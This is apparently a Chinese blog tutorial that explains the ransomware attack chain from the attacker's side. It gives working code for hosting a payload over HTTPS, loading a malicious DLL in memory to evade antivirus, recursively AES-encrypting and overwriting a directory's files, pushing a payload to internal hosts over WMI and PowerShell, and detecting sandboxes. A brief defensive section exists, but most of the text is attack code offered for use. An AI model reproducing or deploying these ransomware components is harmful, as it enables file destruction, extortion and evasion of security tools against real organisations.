一、从勒索软件的攻击链看本质

勒索软件(Ransomware)攻击的核心,其实可以看作是一条精心设计的「攻击链」。从攻击者的视角来看,每一步都经过了严密的规划和优化,以确保最终能完成对目标系统的加密和勒索。要想真正理解勒索软件的运作,我们必须从它的攻击链中拆解每一个环节:初始访问、载荷投递、权限提升、横向移动、数据加密、以及勒索支付的执行逻辑

从技术角度看,勒索软件的大规模传播依赖于以下几个关键点:

  1. 初始访问:攻击者通常会利用钓鱼邮件、恶意宏文档、漏洞利用工具包(Exploit Kits)或公开服务的漏洞来获取落地的机会。
  2. 载荷投递:勒索软件在目标系统中运行前,必须通过一个有效的载荷投递机制来绕过杀软或EDR检测。
  3. 加密过程:核心部分是对文件数据的加密,往往会采用对称加密(用于加密文件内容)和非对称加密(用于保护密钥)的组合方式。
  4. 支付逻辑:存储解密密钥的C2服务器通常通过暗网托管,攻击者通过比特币等加密货币完成交易。

接下来,我们结合一个常见的勒索软件样本,从攻击链的每一环节展开深入分析,并通过代码复现其核心技术点。

---

黑客示意图

二、载荷投递的「免杀学问」

勒索软件攻击中最难的一步,可能就是载荷的免杀问题了。现代杀软和EDR(终端检测响应)产品的检测能力已经进化到通过行为分析、AI模型等手段做到实时的威胁阻断。为了绕过这些防御,我们需要从两方面入手:流量层面的伪装恶意代码的混淆/内存加载

黑客示意图

1. 流量层面的伪装

流量伪装的核心是将恶意流量藏匿在合法协议中,以规避网络检测设备的流量过滤。一个常用的技巧是将勒索软件的下载任务伪装成HTTPS流量,通过自签名证书来绕过SSL检查。以下是一段使用 Python 的 HTTPS 服务搭建代码示例,攻击者可以用它来托管勒索软件的加密载荷。

<pre><code class="language-python">from http.server import HTTPServer, SimpleHTTPRequestHandler import ssl

用于自签名证书的路径

key_file = &quot;server.key&quot; cert_file = &quot;server.crt&quot;

class MaliciousServer(SimpleHTTPRequestHandler): def do_GET(self):

在这里返回恶意载荷

self.send_response(200) self.send_header(&quot;Content-type&quot;, &quot;application/octet-stream&quot;) self.end_headers() with open(&quot;ransomware_payload.exe&quot;, &quot;rb&quot;) as f: self.wfile.write(f.read())

if __name__ == &quot;__main__&quot;: httpd = HTTPServer((&#039;0.0.0.0&#039;, 443), MaliciousServer)

为流量套上SSL层

httpd.socket = ssl.wrap_socket(httpd.socket, keyfile=key_file, certfile=cert_file, server_side=True) print(&quot;Malicious HTTPS server running on port 443...&quot;) httpd.serve_forever()</code></pre>

2. 恶意代码的免杀与内存加载

目前主流的勒索软件都在载荷投递中采用内存加载技术,避免恶意代码落地磁盘。举个例子,下面这段代码展示了如何用 PowerShell 将恶意 DLL 动态加载到内存中并执行其导出函数。

<pre><code class="language-powershell"># 通过 PowerShell 内存加载 DLL 并执行 $Bytes = [System.IO.File]::ReadAllBytes(&quot;malicious.dll&quot;) $Assembly = [System.Reflection.Assembly]::Load($Bytes) $Type = $Assembly.GetType(&quot;MaliciousNamespace.Encryptor&quot;) $Method = $Type.GetMethod(&quot;StartEncryption&quot;) $Method.Invoke($null, $null)</code></pre>

这段代码的核心思路是将 DLL 文件以字节流的形式读取到内存中,随后通过 .NET 的反射机制动态加载并调用导出的方法。通过这种方式,勒索软件可以完全绕过传统的文件型杀毒检测。

---

三、核心加密模块的实现逻辑

所有勒索软件的核心功能点就是文件加密。大多数现代勒索软件会采用「混合加密机制」,即利用对称加密算法(如 AES)对文件本身加密,而再用非对称加密算法(如 RSA)保护对称密钥。这种机制确保即便受害者破解了某个加密文件,也无法解密其他文件。

AES 文件加密核心代码演示

以下是一段 Python 演示代码,它展示了如何对目标文件夹中的所有文件进行 AES 加密。

<pre><code class="language-python">from Crypto.Cipher import AES from Crypto.Random import get_random_bytes import os

def encrypt_file(file_path, key):

生成随机初始化向量(IV)

iv = get_random_bytes(16) cipher = AES.new(key, AES.MODE_CFB, iv)

with open(file_path, &#039;rb&#039;) as f: plaintext = f.read()

ciphertext = iv + cipher.encrypt(plaintext)

将加密后的数据覆盖原文件

with open(file_path, &#039;wb&#039;) as f: f.write(ciphertext)

def encrypt_directory(directory, key): for root, _, files in os.walk(directory): for file in files: file_path = os.path.join(root, file) encrypt_file(file_path, key)

生成随机 AES 密钥

aes_key = get_random_bytes(32) # 256 位 target_directory = &quot;./target_data&quot; encrypt_directory(target_directory, aes_key)</code></pre>

这段代码中,所有的文件都会用随机生成的 AES 密钥加密。而这把 AES 密钥会被勒索软件上传到攻击者的 C2 服务器。

---

黑客示意图

四、横向移动与域渗透

在企业内部环境中,勒索软件需要快速传播,感染尽可能多的节点。横向移动技术是这里的关键。攻击者常用的方法包括:

  1. 利用 SMB 协议(如 EternalBlue 漏洞)进行网络传播。
  2. 使用 Mimikatz 提取凭证并进行 RDP 登录。
  3. 滥用 WMI 和 PowerShell 执行远程命令。

以下是一段基于 PowerShell 使用 WMI 的远程执行代码,攻击者可以用它向内网的其他主机部署勒索软件。

<pre><code class="language-powershell">$TargetComputers = @(&quot;192.168.1.101&quot;, &quot;192.168.1.102&quot;) $PayloadPath = &quot;\\192.168.1.100\share\payload.exe&quot;

foreach ($Computer in $TargetComputers) { Invoke-Command -ComputerName $Computer -ScriptBlock { Start-Process -FilePath $using:PayloadPath -NoNewWindow } }</code></pre>

---

五、勒索软件的防御视角

虽然本文主打攻击技术,但从蓝队角度来看,防御勒索软件也有一套行之有效的方法:

  1. 备份机制:定期进行数据备份,确保即便被加密也能迅速恢复。
  2. 检测异常行为:通过检测文件加密速率、内存加载等行为,识别早期的勒索活动。
  3. 最小权限原则:减少用户权限,防止攻击者利用高权限账号快速横向移动。

---

六、从攻击者的视角看防御失效

很多企业部署了杀软、EDR、甚至沙箱分析系统,但依然会中招。作为攻击者,我会如何规避这些措施?

  1. 针对沙箱分析:通过环境检测,判断是否在虚拟机或沙箱中运行,避免被捕获。
  2. EDR 绕过:利用系统 API 直接操作内存,而非调用常见的用户态函数。
  3. 流量加密:通过 HTTPS 或 DNS 隧道隐藏 C2 流量。

以下是一个简单的环境检测代码示例:

<pre><code class="language-python">import os

def is_sandbox():

检查是否运行在虚拟化环境中

vm_indicators = [&quot;vmtoolsd&quot;, &quot;vboxsf&quot;, &quot;sandboxie&quot;] processes = os.popen(&quot;tasklist&quot;).read() for indicator in vm_indicators: if indicator in processes: return True return False

if is_sandbox(): print(&quot;Running in a sandbox! Exiting...&quot;) exit()</code></pre>

攻击者通过这样的简单方法,能有效避免被动态分析环境捕获。

---

七、总结:勒索软件的进化与思考

勒索软件的复杂程度随着时间的推移不断升级,从简单的单机脚本,进化到如今的多阶段载荷、混合加密、跨平台支持以及双重勒索(数据窃取+加密)。这不仅仅是技术上的问题,更是企业安全策略和攻击者博弈的体现。

对于红队研究者而言,深入理解勒索软件的攻击链条,是设计有效防御手段的第一步。而从攻击者视角思考,才能真正找到蓝队的薄弱点。